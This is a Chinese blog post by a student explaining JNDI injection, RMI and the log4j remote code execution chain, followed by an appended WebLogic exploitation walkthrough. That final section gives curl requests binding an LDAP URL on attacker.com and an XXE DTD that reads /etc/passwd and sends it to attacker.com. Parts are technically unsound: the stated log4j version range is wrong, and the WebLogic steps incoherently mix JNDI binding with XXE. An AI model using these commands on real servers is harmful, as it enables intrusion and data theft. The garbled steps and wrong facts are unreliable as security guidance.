JNDI注入

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做分享...

目录

JNDI基础

RMI

攻击

JNDI注入:

log4j 

利用

条件


JNDI基础

JNDI基础

Java Naming and Directory Interface  	--Java 命令和目录接口 ,api接口
让配置参数 和  代码 解耦的规范或者思想.
低耦合 高内聚

-----------------

Name:
命名  
java对象 通过 命名  绑定到 容器环境.
java对象和一个特定的名称关联在一起.


Directory:
将一个对象的所有属性信息保存在一个容器环境.

RMI

RMI:
Remote Method Invocation   	--Java远程方法调用
实现java程序之间jvm的远程通信


例子:
某个负责计算   1台计算机  需要很久   如果这台计算机支持 RMI调用,那么它可以把任务分配和远程的多台虚拟机 进行同步计算,提高计算效率.


RMI 基本逻辑:
分为三部分 -->   Server  Client  Registry
Server   提供远程的对象
Client   调用远程的对象
Registry 注册表 存放远程对象的位置  ip 端口  标识符 ...

攻击

客户端 通过 lookup方法,找绑定的恶意类.

1 远程对象有恶意方法,可以直接调用
2 远程对象有可利用的readObject 方法,可以传输Object参数,实现反序列化攻击


JNDI注入:

JNDI注入+RMI实现攻击

(客户端注入一个协议地址+服务端加载)
客户端  通过 lookup 方法  注入了rmi协议  ,访问了远程的rmi服务器
rmi服务器返回了引用对象 ,而引用对象包含了类的加载工厂
如果本地没有这个类 ,就去加载工厂去加载类的字节码 
而加载工厂是本地的localhost80端口,目录下,有payload.class文件
客户端 再去访问localhost的80端口,去下载payload.class的字节码 ,然后Class.forname加载了这个字节码
造成了payload.class这个类里面的静态代码被执行.

log4j 

在 >2.0 且 <2.4.1 范围内的版本存在JNDI注入漏洞.

log4i RCE 的攻击角色
原理:
1 在客户端的日志中,插入了JNDI语句,造成了JNDI注入.
2 客户端向远程恶意rmi服务器请求远程对象,返回引用对象.
3 引用对象里面要执行的类,需要从类工厂中获取,而类工厂中,类定义在另一个恶意的vps中.
4 客户端的jvm向恶意的vps请求恶意类的字节码文件 payload.class
5 远程下载后, 使用Class.forname类似方法,载入到客户端的虚拟机中.
6 执行了恶意类的静态方法.

利用

1 需要一个恶意的RMI服务器 /...
2 需要一个http公网访问能够下载字节码
3 需要一个包含恶意代码的类文件的字节码 任意类 用static {} 包裹即可在虚拟机加载类字节码后 自动执行.


条件

1 受害者(客户端) 存在有漏洞的log4j版本.
2 受害者服务器可以出网.利用
dnslog.cn


 

WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。攻击者可以通过构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上,从而实现远程代码执行。具体步骤如下: 1. 构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如,可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 2. 构造恶意请求,触发 JNDI 注入漏洞。例如,可以使用以下命令触发漏洞: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 3. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 XML 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 4. 构造恶意的 XML 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 XML 文件: ``` <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> ``` 5. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 DTD 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 6. 构造恶意的 DTD 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 DTD 文件: ``` <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?%payload;'>"> %remote; ``` 7. 等待 WebLogic 服务器向攻击者控制的服务器发送 HTTP 请求,从而触发恶意代码的执行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值